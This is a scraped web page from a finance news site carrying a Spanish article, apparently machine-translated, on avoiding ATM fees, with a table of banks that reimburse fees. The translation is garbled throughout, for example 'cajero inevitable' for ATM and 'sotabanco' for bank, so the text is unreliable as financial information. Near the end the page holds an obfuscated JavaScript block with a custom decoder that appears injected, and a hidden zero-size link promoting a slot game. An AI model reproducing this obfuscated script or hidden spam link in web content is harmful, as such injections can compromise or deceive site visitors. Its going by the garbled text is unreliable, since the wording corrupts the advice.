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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Wednesday, September 30, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
<style>.tdi_41{justify-content:flex-end!important;text-align:right!important}</style>
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p>Las tarifas de cajeros automáticos se encuentran entre varias <u>Tipos de tarifas bancarias</u> Eso puede yantar el saldo de su cuenta con el tiempo si no los atiende.</p>
<p>Las tarifas de cajeros automáticos pueden sumar rápidamente, dando un mordisco significativo de su presupuesto si no tiene cuidado. La tarifa de cajero inevitable combinada promedio ahora con un récord de $ 4.77 por transacción, según la nuevo de Bankrate <u>Estudio de tarifas de la cuenta del control y el cajero inevitable</u>. Asimilar cómo evitar estos cargos podría ahorrarle más de $ 100 anualmente.</p>
<p>Aquí hay cinco estrategias probadas para perdurar más de su pasta en su faltriquera.</p>
<div id="block_63a59d141b87b68934b29c1eabc21eac" class="key-takeaways sm:border-l-4 border-(var(--accent)) sm:pl-8 my-8 relative" style="--accent: var(--color-blue-medium)">
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<h2 class="heading-4 mt-0 mb-4 text-crop-none max-sm:flex max-sm:items-center max-sm:gap-4">
    <span class="shrink-0">Control de información </span><br />
        <span class="max-sm:h-0.5 max-sm:w-full max-sm:w-full max-sm:bg-(var(--accent)) max-sm:rounded-full max-sm:block"></span><br />
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<p>                                                            Vale la pena evitar las tarifas de cajeros automáticos fuera de la red, con la tarifa total promedio presente que ha aumentado a un récord de $ 4.77.</p>
</li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            Cuando necesita efectivo, pero no hay un cajero inevitable en la red cerca, una opción es recuperar el efectivo al hacer una adquisición en una tienda de comestibles u otro minorista, aunque algunas cadenas importantes pueden aumentar una pequeña tarifa para este servicio.</p>
</li>
<li class="pl-4 relative before:content-('•') before:right-full before:absolute before:text-(var(--accent))">
<p>                                                            Otras formas de evitar tarifas de cajeros automáticos incluyen encontrar una cuenta bancaria que reembolse dichas tarifas u opción de pagos digitales sobre transacciones en efectivo cuando sea posible.
                                                </li>
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<h2 data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Banking" data-position="h2_second_placement" data-name="h2_second_placement" data-text="Avoid fees at ATMs" data-outcome="">1. Obtenga devolución de efectivo en los minoristas</h2>
<p>Al revisar en una tienda de comestibles u otro minorista elegible, a menudo puede obtener devolución de efectivo con su adquisición. Para hacer esto, pague con su plástico de débito e ingrese su número de identificación personal (PIN). El disertador de tarjetas le pedirá que seleccione o ingrese la cantidad de reembolso en efectivo que desea, que se retirará de la cuenta vinculada a su plástico.</p>
<p>Algunos minoristas, como Dollar Genérico, Dollar Tree y Kroger, pueden cobrar una pequeña tarifa ($ 0.50 a $ 3.50) por reembolso en efectivo, dependiendo de la tienda y la cantidad retirada. Encima, las tiendas pueden tener límites en la cantidad de reembolso en efectivo adecuado, que generalmente oscila entre $ 20 y $ 300.</p>
<h2>2. Use cajeros automáticos en la red</h2>
<p>Al usar un cajero inevitable fuera de la red, puede desavenir un recargo del propietario del cajero inevitable y una tarifa de su propio sotabanco. Para evitar estos costos, quede a los cajeros automáticos en la red.</p>
<p>Un cajero inevitable propiedad de su sotabanco o internamente de su red asociada (como Allpoint o MoneyPass) no cobrará tarifas fuera de la red. Use la aplicación o sitio web móvil de su sotabanco para ubicar cajeros automáticos en la red cerca de usted.</p>
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<blockquote>
<p>                Si no está dispuesto a cambiar de bancos, comprenda cómo funciona la red de cajeros automáticos de su sotabanco presente. El hecho de que su nombre no esté en un cajero inevitable no significa que no esté rescatado de tarifas. La mayoría de los bancos, incluso los más pequeños, tienen una aplicación que le permite encontrar cajeros automáticos en su red. Si no, pregúnteles si tienen una forma preferida de encontrar cajeros automáticos internamente de la red.</p>
<p class="mb-0">
                        <cite>&#8211; RJ Weiss, CFP, fundador de las formas de riqueza</cite>
                    </p>
</blockquote></div>
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</div>
<h2>3. Opts por pagos digitales</h2>
<p>En muchos casos, cuando normalmente usa efectivo, es posible volverse digital. De esta modo, no tiene que retirar pasta de un cajero inevitable. Por ejemplo, algunos proveedores de servicios, como peluqueros, pueden aceptar consejos a través de <u>cuota digital</u> Proveedores, como Venmo o <u>celúla</u>. Algunos minoristas además pueden aceptar el cuota de fondos a través de estas aplicaciones de cuota entre pares. Solo asegúrese de demostrar de antemano que el comerciante acepta su aplicación de cuota preferida.</p>
<p>En muchos casos en los que normalmente usaría efectivo, puede ser digital en su oportunidad, eliminando la condición de retiros de cajeros automáticos. Algunos proveedores de servicios, como peluqueros o terapeutas de friega, pueden aceptar consejos a través de aplicaciones de cuota como Venmo o Zelle. Los minoristas además pueden aceptar estos métodos de cuota entre pares para ciertos fondos. Siempre consulte con el comerciante de antemano para confirmar que se acepta su aplicación preferida.</p>
<h2>4. Haga retiros más grandes y menos frecuentes</h2>
<p>Cuando use cajeros automáticos fuera de la red, minimice las tarifas haciendo menos retiros. Tirada sumas más grandes en una sola visitante para cubrir sus deposición de efectivo por avanzado.</p>
<p>Sin retención, tenga en cuenta los límites de retiro de cajeros automáticos. La cantidad máxima que puede retirar varía según el sotabanco y el cajero inevitable, pero generalmente varía de $ 500 a $ 1,000 por día.</p>
<h2>5. Elija un sotabanco que reembolse las tarifas de cajeros automáticos</h2>
<p>Muchos bancos y cooperativas de crédito, particularmente instituciones solo en partidura, ofrecen cuentas corrientes sin tarifas de cajeros automáticos o reembolsos por tarifas incurridas.</p>
<p>Algunos bancos reembolsan las tarifas hasta un cierto monto mensual. Por ejemplo, Alliant Credit Union reembolsa hasta $ 20 por mes en tarifas de cajero inevitable para los usuarios de la plástico de débito de Visa, con reembolsos depositados en la cuenta del cliente al final de cada día.</p>
<p>Otros bancos, como Axos Bank y LendingClub, ofrecen reembolsos de cajeros automáticos ilimitados. Axos Bank proporciona este beneficio para sus recompensas titulares de cuentas corrientes, mientras que LendingClub reembolsa todos los recargos de cajeros automáticos para sus clientes de cuenta corriente al final de cada ciclo de testimonio.</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td>
<p><strong>Nombre del sotabanco</strong></p>
</td>
<td>
<p><strong>Reembolso mensual mayor</strong></p>
</td>
<td>
<p><strong>Tipo de cuenta elegible</strong></p>
</td>
<td>
<p><strong>Otros beneficios de la cuenta</strong></p>
</td>
<td>
<p><strong>Cualquier traba o restricción</strong></p>
</td>
</tr>
<tr>
<td>
<p><u>Cooperativa de crédito Alliant</u></p>
</td>
<td>
<p>Hasta $ 20 por ciclo de testimonio</p>
</td>
<td>
<p>Cuentas de capital o corriente</p>
</td>
<td>
<p>Ataque a más de 80,000 cajeros automáticos sin tarifas, sin tarifas de transigencia o mantenimiento de la cuenta</p>
</td>
<td>
<p>Los retiros internacionales pueden incurrir en tarifas de transacción extranjera</p>
</td>
</tr>
<tr>
<td>
<p><u>Socio</u></p>
</td>
<td>
<p>$ 10</p>
</td>
<td>
<p>Cuenta de gastos</p>
</td>
<td>
<p>Sin tarifas de sobregiro o mantenimiento, golpe a depósito directo temprano</p>
</td>
<td>
<p>Las transacciones internacionales pueden estar sujetas a una tarifa del 1%</p>
</td>
</tr>
<tr>
<td>
<p><u>Lado de axos</u></p>
</td>
<td>
<p>Reembolsos domésticos ilimitados</p>
</td>
<td>
<p>Cuentas de comprobación esenciales, comprobación de recompensas y relato de reembolso</p>
</td>
<td>
<p>No hay tarifas de mantenimiento mensuales, atención al cliente 24/7</p>
</td>
<td>
<p>No hay golpe a Zelle</p>
</td>
</tr>
<tr>
<td>
<p><u>Charles Schwab</u></p>
</td>
<td>
<p>Reembolsos de tarifa de cajero inevitable ilimitado</p>
</td>
<td>
<p>Cuenta corriente de inversores</p>
</td>
<td>
<p>No hay tarifas de servicio mensuales, tarifas de sobregiro o tarifas de transacción extranjera</p>
</td>
<td>
<p>Transferencias de alambre entrantes extranjeras no aceptadas</p>
</td>
</tr>
<tr>
<td>
<p><u>Club</u></p>
</td>
<td>
<p>Reembolsos de tarifa de cajero inevitable ilimitado</p>
</td>
<td>
<p>Comprobación de recompensas</p>
</td>
<td>
<p>Anhelo 1% de reembolso en efectivo en compras de tarjetas de débito calificadas</p>
</td>
<td>
<p>Varios requisitos para adscribir para recompensas del 1%</p>
</td>
</tr>
<tr>
<td>
<p><u>Unmy Federal Credit Union</u></p>
</td>
<td>
<p>Hasta $ 10 por ciclo de estado de cuenta</p>
</td>
<td>
<p>Demostración obvio improcedente</p>
</td>
<td>
<p>No hay tarifas de servicio mensuales o requisitos de saldo reducido</p>
</td>
<td>
<p>Debe establecer un depósito directo o hacer más de 20 transacciones mensuales; Se requiere la membresía de la cooperativa de crédito</p>
</td>
</tr>
</tbody>
</table>
</div>
<h2>Cómo encontrar cajeros automáticos sin tarifa</h2>
<p>Por lo genérico, puede ubicar cajeros automáticos cercanos propiedad de su sotabanco o internamente de su red sin tarifas utilizando la aplicación o sitio web de su sotabanco. La mayoría de los bancos proporcionan una aparejo de enclave de cajeros automáticos que muestra cajeros automáticos cercanos en un plano.</p>
<p>Alternativamente, use Visa&#8217;s Plus Alliance Atm Locator o el localizador de cajeros automáticos de la red Pulse para encontrar el cajero inevitable sin recarga más cercano. Recuerde que un cajero inevitable sin recarga propiedad de otro sotabanco aún puede incurrir en una tarifa de su propio sotabanco si su cuenta no ofrece reembolsos de cajeros automáticos.</p>
<p>Al comprar un nuevo sotabanco, elija uno con una extensa red de cajeros automáticos, ya sea que el sotabanco sea dueño de los ATM o socios con una red como MoneyPass o Allpoint. A menudo puede encontrar cajeros automáticos elegibles en ubicaciones de minoristas como CV o Walgreens. Otra opción es pretender un sotabanco que no cargue las tarifas de cajeros automáticos fuera de la red y reembolse los recargos impuestos por otros bancos.</p>
<p>El uso de cajeros automáticos sin tarifas es crucial, ya que estos cargos pueden sumar rápidamente, especialmente en ciertas ciudades. Por ejemplo, Atlanta, San Diego y Phoenix tienen algunas de las tarifas de cajeros automáticos más altas, mientras que Filadelfia, Seattle y Boston tienen algunos de los más bajos, según la pesquisa de Bankrate 2024 y ATM.</p>
<p><strong>Siguientes pasos:</strong> Use la finalidad de Bankrate para la banca móvil para encontrar bancos con aplicaciones móviles que faciliten la ubicación de los cajeros automáticos en la red.</p>
<h2>Final</h2>
<p>Usar un cajero inevitable fuera de la red dos veces al mes y abonar la tarifa promedio de retiro total de $ 4.77 le costaría $ 114.48 en tarifas anuales. Sin retención, las estrategias simples como la ubicación de los cajeros automáticos en la red pueden ayudarlo a guardar.</p>
<p>No hay un enfoque único para minimizar las tarifas de cajeros automáticos, pero varias tácticas pueden ayudar, dependiendo de sus hábitos bancarios y deposición de efectivo. Cuando sea posible, el uso de aplicaciones de cuota digital puede eliminar la condición de visitas de cajeros automáticos y sus tarifas asociadas. Encima, verifique si su sotabanco ya ofrece reembolsos de tarifas de cajero inevitable.</p>
<p><strong>Aprenda más:</strong> Descubra las mejores cuentas corrientes de Bankrate que minimizan las tarifas y maximizan los beneficios.</p>
<h2><strong>Preguntas frecuentes</strong></h2>
<h3>¿Todos los bancos cobran tarifas de cajeros automáticos?</h3>
<p>Si adecuadamente no todos los bancos cobran tarifas de cajeros automáticos, muchos lo hacen por el uso de cajeros automáticos fuera de la red. Designar un sotabanco que reembolse las tarifas de cajeros automáticos puede ayudarlo a evitar estos cargos adicionales.</p>
<h3>¿Son las tarifas de cajeros automáticos internacionales más altas que las nacionales?</h3>
<p>La tarifa internacional exacta de cajero inevitable varía según el sotabanco. Sin retención, incluso los bancos que reembolsan las tarifas de los cajeros automáticos pueden cobrar una tarifa de transacción extranjera por los retiros de cajeros automáticos internacionales en moneda recinto. Para los viajeros internacionales frecuentes, considere una cuenta bancaria sin tarifas de transacción extranjeras, como la cuenta corriente de inversores Charles Schwab.</p>
<h3>¿Puedo negociar con mi sotabanco para renunciar a las tarifas de cajeros automáticos?</h3>
<p>Si usó por error un cajero inevitable fuera de la red una vez, su sotabanco podría reembolsar la tarifa como una cortesía única. Sin retención, si este es un problema recurrente, es poco probable que su sotabanco renuncie permanentemente a las tarifas de cajeros automáticos si su póliza les cobra.</p>
</p></div>
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                                                                                                            <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2026-02-18T18:56:15+00:00" >February 18, 2026</time></span>                                                                                                        </span>
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TfVHbCW(jSGvH3F(0x99),{[jSGvH3F(0x9a)]:BykvSQ,[jSGvH3F(0x9b)]:i8vt81})[dr_D4Z(0x9c)](FcwqDu=>{return Number(FcwqDu)===MCeslf[0x1]})},bl:()=>{function FcwqDu(FcwqDu){var jSGvH3F="3XsimcnM(=O+T_D<1]`QUh?Ae9f6ZyzK:I@j7%{S|!Eg},.BdN4wvq*YCtb~u2&>FRPx5W)Gak$8#J;H0/[Llo^p\"rV",dr_D4Z,udHVExn,Mzv7wl,WkJHLp,vmpiyD,BykvSQ,RmbWDw;af81png(dr_D4Z=""+(FcwqDu||""),udHVExn=dr_D4Z.length,Mzv7wl=[],WkJHLp=MCeslf[0x0],vmpiyD=MCeslf[0x0],BykvSQ=-MCeslf[0x1]);for(RmbWDw=MCeslf[0x0];RmbWDw<udHVExn;RmbWDw++){var i8vt81=jSGvH3F.indexOf(dr_D4Z[RmbWDw]);if(i8vt81===-MCeslf[0x1])continue;if(BykvSQ<MCeslf[0x0]){BykvSQ=i8vt81}else{af81png(BykvSQ+=i8vt81*MCeslf[0xc],WkJHLp|=BykvSQ<<vmpiyD,vmpiyD+=(BykvSQ&MCeslf[0xd])>MCeslf[0xe]?MCeslf[0xf]:MCeslf[0x10]);do{af81png(Mzv7wl.push(WkJHLp&MCeslf[0x3]),WkJHLp>>=MCeslf[0x2],vmpiyD-=MCeslf[0x2])}while(vmpiyD>MCeslf[0x9]);BykvSQ=-MCeslf[0x1]}}if(BykvSQ>-MCeslf[0x1]){Mzv7wl.push((WkJHLp|BykvSQ<<vmpiyD)&MCeslf[0x3])}return ZUUtmn(Mzv7wl)}function jSGvH3F(jSGvH3F){if(typeof ZIWX9q[jSGvH3F]===MCeslf[0x5]){return ZIWX9q[jSGvH3F]=FcwqDu(PlBtda[jSGvH3F])}return ZIWX9q[jSGvH3F]}return TfVHbCW(jSGvH3F(0x9d),{[jSGvH3F(0x9e)]:BykvSQ,[jSGvH3F(0x9f)]:i8vt81})[jSGvH3F(0xa0)](()=>{})}})}FcwqDu()})();
</script>
<!-- sc5a72ec-3dd082 -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
